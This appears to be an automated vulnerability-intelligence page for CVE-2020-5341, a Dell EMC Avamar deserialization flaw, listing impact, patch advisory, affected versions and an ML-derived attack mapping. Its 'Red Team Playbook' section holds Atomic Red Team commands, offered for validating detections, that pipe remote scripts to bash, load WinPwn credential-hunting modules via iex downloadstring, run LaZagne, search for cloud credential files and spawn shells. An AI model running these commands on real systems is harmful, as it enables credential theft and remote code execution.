CVE-2020-5341
Overview
This vulnerability is a deserialization of untrusted data flaw affecting the Dell EMC Avamar Server and Integrated Data Protection Appliance. The root cause lies in improper validation of serialized input data, allowing maliciously crafted objects to be deserialized within the application. The affected components are the deserialization mechanisms in specific versions of Dell EMC Avamar Server and Integrated Data Protection Appliance software.
Vulnerability Description
Deserialization of Untrusted Data Vulnerability Dell EMC Avamar Server versions 7.4.1, 7.5.0, 7.5.1, 18.2, 19.1 and 19.2 and Dell EMC Integrated Data Protection Appliance versions 2.0, 2.1, 2.2, 2.3, 2.4 and 2.4.1 contain a Deserialization of Untrusted Data Vulnerability. A remote unauthenticated attacker could exploit this vulnerability to send a serialized payload that would execute code on the system.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the affected system, potentially gaining full control over the server. No user interaction or prior authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful exploitation can lead to data compromise, disruption of backup services, and lateral movement within the enterprise environment, severely impacting business continuity and data integrity.
Solution
Dell has released security updates addressing this vulnerability in the Dell EMC Avamar Server and Integrated Data Protection Appliance. Administrators should apply the patches as detailed in Dell Security Advisory DSA-2020-057, available at https://www.dell.com/support/security/en-us/details/541677/. Specifically, upgrade affected Avamar Server versions to fixed releases beyond 7.5.1 and Integrated Data Protection Appliance versions beyond 2.4.1. Following vendor instructions in the advisory ensures mitigation of the deserialization flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with certain versions of Dell EMC Avamar Server and Integrated Data Protection Appliance products stems from the deserialization of untrusted data. This flaw allows an attacker to manipulate serialized data, which is a common method for encoding complex data structures into a format that can be easily transmitted or stored. When the affected systems deserialize this untrusted data, they may inadvertently execute arbitrary code, leading to severe security breaches. The critical nature of this vulnerability is underscored by its high CVSS score of 9.8, indicating that it poses a significant risk to the confidentiality, integrity, and availability of the systems involved.
Attack vectors for this vulnerability are particularly concerning due to the potential for remote exploitation by unauthenticated attackers. An attacker could craft a malicious serialized payload and send it to the vulnerable systems over the network. This could be achieved through various means, such as exploiting web applications or APIs that utilize the affected products. Once the payload is deserialized, the attacker could gain control over the system, execute arbitrary commands, or deploy malware, leading to further compromise of the network. The ease of exploitation and the requirement for no prior authentication make this vulnerability particularly dangerous, as it lowers the barrier for attackers.
The real-world impact of this vulnerability can be profound, especially for organizations relying on Dell EMC Avamar Server and Integrated Data Protection Appliance for data protection and backup solutions. Successful exploitation could lead to unauthorized access to sensitive data, disruption of critical services, or even complete system takeover. The business risks associated with such a breach include financial losses, reputational damage, regulatory penalties, and the costs associated with incident response and recovery efforts. Additionally, the potential for data loss or corruption could have long-lasting effects on an organization's operational capabilities and customer trust.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching affected systems is crucial, as vendors typically release security updates to address known vulnerabilities. Organizations should also conduct thorough security assessments and penetration testing to identify potential weaknesses in their configurations and network defenses. Employing intrusion detection systems (IDS) can help monitor for unusual activity that may indicate an attempted exploitation of the vulnerability. Furthermore, implementing strict input validation and sanitization measures can significantly reduce the risk of deserialization attacks by ensuring that only trusted data is processed by the system.
In conclusion, the deserialization of untrusted data vulnerability in Dell EMC Avamar Server and Integrated Data Protection Appliance products represents a critical threat to organizations leveraging these technologies. The potential for remote exploitation by unauthenticated attackers, coupled with the severe implications of a successful attack, necessitates immediate attention and action from affected organizations. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems and data against this significant cybersecurity risk.
Affected Products (13)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Dell | Emc Avamar Server | 7.4.1 |
cpe:2.3:a:dell:emc_avamar_server:7.4.1:*:*:*:*:*:*:*
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Dell | Emc Avamar Server | 7.5.0 |
cpe:2.3:a:dell:emc_avamar_server:7.5.0:*:*:*:*:*:*:*
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|
Dell | Emc Avamar Server | 7.5.1 |
cpe:2.3:a:dell:emc_avamar_server:7.5.1:*:*:*:*:*:*:*
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|
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Dell | Emc Avamar Server | 18.1 |
cpe:2.3:a:dell:emc_avamar_server:18.1:*:*:*:*:*:*:*
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Dell | Emc Avamar Server | 18.2 |
cpe:2.3:a:dell:emc_avamar_server:18.2:*:*:*:*:*:*:*
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|
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Dell | Emc Avamar Server | 19.1 |
cpe:2.3:a:dell:emc_avamar_server:19.1:*:*:*:*:*:*:*
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Dell | Emc Avamar Server | 19.2 |
cpe:2.3:a:dell:emc_avamar_server:19.2:*:*:*:*:*:*:*
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Dell | Emc Integrated Data Protection Appliance Firmware | 2.0 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.0:*:*:*:*:*:*:*
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Dell | Emc Integrated Data Protection Appliance Firmware | 2.1 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.1:*:*:*:*:*:*:*
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Dell | Emc Integrated Data Protection Appliance Firmware | 2.2 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.2:*:*:*:*:*:*:*
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Dell | Emc Integrated Data Protection Appliance Firmware | 2.3 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.3:*:*:*:*:*:*:*
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Dell | Emc Integrated Data Protection Appliance Firmware | 2.4 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.4:*:*:*:*:*:*:*
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Dell | Emc Integrated Data Protection Appliance Firmware | 2.4.1 |
cpe:2.3:o:dell:emc_integrated_data_protection_appliance_firmware:2.4.1:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-5341 |
| dell.com |
GitHub CVE
x_refsource_MISC
|
https://www.dell.com/support/security/en-us/details/541677/DSA-2020-057-Dell-EMC-Avamar-Server-Deserialization-of-Untrusted-Data-Vulnerability |